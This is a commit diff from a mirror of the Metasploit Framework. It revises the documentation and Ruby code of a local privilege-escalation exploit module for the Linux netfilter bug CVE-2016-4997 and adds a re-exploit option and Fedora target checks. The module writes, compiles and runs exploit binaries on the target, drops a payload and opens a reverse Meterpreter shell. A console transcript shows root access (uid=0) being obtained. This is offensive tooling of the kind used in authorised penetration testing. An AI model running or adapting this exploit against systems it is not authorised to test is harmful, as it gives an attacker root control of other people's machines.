mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
reexploit and other docs and edits added
This commit is contained in:
parent
4be4bcf7eb
commit
4f85a1171f
@ -2,6 +2,8 @@
|
||||
|
||||
Originally this module was written to drop the binary files on the target. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target.
|
||||
|
||||
This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing.
|
||||
|
||||
## Creating A Testing Environment
|
||||
|
||||
There are a few requirements for this module to work:
|
||||
@ -13,10 +15,14 @@ There are a few requirements for this module to work:
|
||||
This module has been tested against:
|
||||
|
||||
1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic)
|
||||
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic
|
||||
|
||||
This module *should* work against
|
||||
This does not work against the following vulnerable systems. Additional work may be required.
|
||||
|
||||
1. Ubuntu 16.04
|
||||
1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18)
|
||||
2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19)
|
||||
3. RHEL < [kernel-3.10.0-327.36.1.el7](https://rhn.redhat.com/errata/RHSA-2016-1847.html)
|
||||
4. Suse < [kernel-default-3.12.59-60.45.2](http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00060.html)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@ -37,6 +43,10 @@ This module *should* work against
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
|
||||
**REEXPLOIT**
|
||||
|
||||
When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic)
|
||||
@ -96,3 +106,31 @@ Escalate
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
|
||||
|
||||
### Re-exploit
|
||||
|
||||
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
|
||||
|
||||
msf exploit(ubuntu_netfilter) > set reexploit true
|
||||
reexploit => true
|
||||
msf exploit(ubuntu_netfilter) > set session 2
|
||||
session => 2
|
||||
msf exploit(ubuntu_netfilter) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.20.14.188:4445
|
||||
[*] Checking if libc6-dev-i386 is installed
|
||||
[+] libc6-dev-i386 is installed
|
||||
[*] Checking if ip_tables.ko is loaded
|
||||
[+] ip_tables.ko is loaded
|
||||
[*] Checking if shem or sham are installed
|
||||
[+] shem and sham not present.
|
||||
[*] Writing payload to /tmp/OblBUbtc
|
||||
[*] Writing pwn executable to /tmp/u4PnMEdw.c
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 172.20.14.188
|
||||
[*] Meterpreter session 3 opened (172.20.14.188:4445 -> 172.20.14.188:40370) at 2016-09-17 13:35:57 -0400
|
||||
[+] Deleted /tmp/OblBUbtc
|
||||
[+] Deleted /tmp/u4PnMEdw.c
|
||||
[+] Deleted /tmp/u4PnMEdw
|
||||
[-] Exploit failed: Rex::TimeoutError Operation timed out.
|
||||
[*] Exploit completed, but no session was created.
|
@ -14,12 +14,13 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ubuntu Netfilter Privilege Escalation',
|
||||
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit a netfilter bug on Ubuntu 16.04 (not 16.04.1) with kernel
|
||||
This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
|
||||
only works against Ubuntu 16.04 (not 16.04.1) with kernel
|
||||
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
|
||||
1. ip_tables.ko has to be loaded (root running iptables -L will do such)
|
||||
2. libc6-dev-i386 needs to be installed to compile
|
||||
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
|
||||
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
|
||||
Kernel 4.4.0-31-generic and newer are not vulnerable.
|
||||
|
||||
We write the ascii files and compile on target instead of locally since metasm bombs for not
|
||||
@ -35,18 +36,24 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
'Platform' => [ 'linux'],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Ubuntu', { } ]
|
||||
#[ 'Fedora', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '40049'],
|
||||
[ 'CVE', '2016-4997']
|
||||
[ 'CVE', '2016-4997'],
|
||||
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptString.new('MAXWAIT', [ true, 'Max time to wait for decrementation in seconds', 120 ])
|
||||
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
|
||||
OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@ -55,27 +62,56 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
|
||||
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
|
||||
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
|
||||
vprint_status('Checking if ip_tables.ko is loaded')
|
||||
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
|
||||
if iptables.include?('ip_tables')
|
||||
vprint_good('ip_tables.ko is loaded')
|
||||
vprint_status('Checking if ip_tables is loaded in kernel')
|
||||
if target.name == "Ubuntu"
|
||||
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
|
||||
if iptables.include?('ip_tables')
|
||||
vprint_good('ip_tables.ko is loaded')
|
||||
else
|
||||
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
|
||||
end
|
||||
return iptables.include?('ip_tables')
|
||||
elsif target.name == "Fedora"
|
||||
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
|
||||
if iptables.include?('iptable_raw')
|
||||
vprint_good('iptable_raw is loaded')
|
||||
else
|
||||
print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command')
|
||||
end
|
||||
return iptables.include?('iptable_raw')
|
||||
else
|
||||
print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command')
|
||||
return false
|
||||
end
|
||||
return iptables.include?('ip_tables')
|
||||
end
|
||||
|
||||
def libs_installed?()
|
||||
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
|
||||
# libc6-dev-i386 install
|
||||
vprint_status('Checking if libc6-dev-i386 is installed')
|
||||
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
|
||||
if lib.include?('install')
|
||||
vprint_good('libc6-dev-i386 is installed')
|
||||
vprint_status('Checking if 32bit C libraries are installed')
|
||||
if target.name == "Ubuntu"
|
||||
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
|
||||
if lib.include?('install')
|
||||
vprint_good('libc6-dev-i386 is installed')
|
||||
else
|
||||
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
|
||||
end
|
||||
return lib.include?('install')
|
||||
elsif target.name == "Fedora"
|
||||
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
|
||||
if lib.include?('glibc')
|
||||
vprint_good('glibc-devel.i686 is installed')
|
||||
else
|
||||
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
|
||||
end
|
||||
if lib.include?('libgcc')
|
||||
vprint_good('libgcc.i686 is installed')
|
||||
else
|
||||
print_error('libgcc.i686 is not installed. Compiling will fail.')
|
||||
end
|
||||
return (lib.include?('glibc') and lib.include?('libgcc'))
|
||||
else
|
||||
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
return lib.include?('install')
|
||||
end
|
||||
|
||||
def shemsham_installed?()
|
||||
@ -85,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
if shemsham.include?('shem')
|
||||
print_error('shem installed, system not vulnerable.')
|
||||
elsif shemsham.include?('sham')
|
||||
print_error('shem installed, system not vulnerable.')
|
||||
print_error('sham installed, system not vulnerable.')
|
||||
else
|
||||
vprint_good('shem and sham not present.')
|
||||
end
|
||||
@ -283,50 +319,63 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
print_status "Writing desc executable to #{desc_file}.c"
|
||||
rm_f env_ready_file
|
||||
rm_f "#{desc_file}.c"
|
||||
rm_f desc_file
|
||||
write_file("#{desc_file}.c", decr)
|
||||
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
|
||||
def pwn(payload_path, pwn_file, pwn)
|
||||
# lets write our payload since everythings set for priv esc
|
||||
vprint_status("Writing payload to #{payload_path}")
|
||||
write_file(payload_path, generate_payload_exe)
|
||||
cmd_exec("chmod 555 #{payload_path}")
|
||||
#register_file_for_cleanup(payload_path)
|
||||
|
||||
register_file_for_cleanup(env_ready_file)
|
||||
register_file_for_cleanup("#{desc_file}.c")
|
||||
register_file_for_cleanup(desc_file)
|
||||
if not file_exist?(desc_file)
|
||||
vprint_error("gcc failure output: #{output}")
|
||||
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
|
||||
# now lets drop part 2, and finish up.
|
||||
print_status "Writing pwn executable to #{pwn_file}.c"
|
||||
rm_f pwn_file
|
||||
rm_f "#{pwn_file}.c"
|
||||
write_file("#{pwn_file}.c", pwn)
|
||||
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
|
||||
#register_file_for_cleanup("#{pwn_file}.c")
|
||||
#register_file_for_cleanup(pwn_file)
|
||||
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
|
||||
end
|
||||
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
|
||||
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
|
||||
sec_waited = 0
|
||||
|
||||
until sec_waited > datastore['MAXWAIT'] do
|
||||
Rex.sleep(1)
|
||||
if sec_waited % 10 == 0
|
||||
vprint_status("Waited #{sec_waited}s so far")
|
||||
# check for shortcut
|
||||
if datastore['REEXPLOIT']
|
||||
pwn(payload_path, pwn_file, pwn)
|
||||
else
|
||||
print_status "Writing desc executable to #{desc_file}.c"
|
||||
rm_f env_ready_file
|
||||
rm_f "#{desc_file}.c"
|
||||
rm_f desc_file
|
||||
write_file("#{desc_file}.c", decr)
|
||||
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
|
||||
|
||||
register_file_for_cleanup(env_ready_file)
|
||||
register_file_for_cleanup("#{desc_file}.c")
|
||||
register_file_for_cleanup(desc_file)
|
||||
if not file_exist?(desc_file)
|
||||
vprint_error("gcc failure output: #{output}")
|
||||
fail_with(Failure::Unknown, "#{desc_file}.c failed to compile")
|
||||
end
|
||||
|
||||
if file_exist?(env_ready_file)
|
||||
print_good("desc finished, env ready.")
|
||||
# lets write our payload since everythings set for priv esc
|
||||
vprint_status("Writing payload to #{payload_path}")
|
||||
write_file(payload_path, generate_payload_exe)
|
||||
cmd_exec("chmod 555 #{payload_path}")
|
||||
register_file_for_cleanup(payload_path)
|
||||
|
||||
# now lets drop part 2, and finish up.
|
||||
print_status "Writing pwn executable to #{pwn_file}.c"
|
||||
rm_f pwn_file
|
||||
rm_f "#{pwn_file}.c"
|
||||
write_file("#{pwn_file}.c", pwn)
|
||||
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
|
||||
register_file_for_cleanup("#{pwn_file}.c")
|
||||
register_file_for_cleanup(pwn_file)
|
||||
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
|
||||
return
|
||||
if target.name == "Ubuntu"
|
||||
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
|
||||
elsif target.name == "Fedora"
|
||||
vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created."
|
||||
end
|
||||
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
|
||||
sec_waited = 0
|
||||
|
||||
until sec_waited > datastore['MAXWAIT'] do
|
||||
Rex.sleep(1)
|
||||
if sec_waited % 10 == 0
|
||||
vprint_status("Waited #{sec_waited}s so far")
|
||||
end
|
||||
|
||||
if file_exist?(env_ready_file)
|
||||
print_good("desc finished, env ready.")
|
||||
pwn(payload_path, pwn_file, pwn)
|
||||
return
|
||||
end
|
||||
sec_waited +=1
|
||||
end
|
||||
sec_waited +=1
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user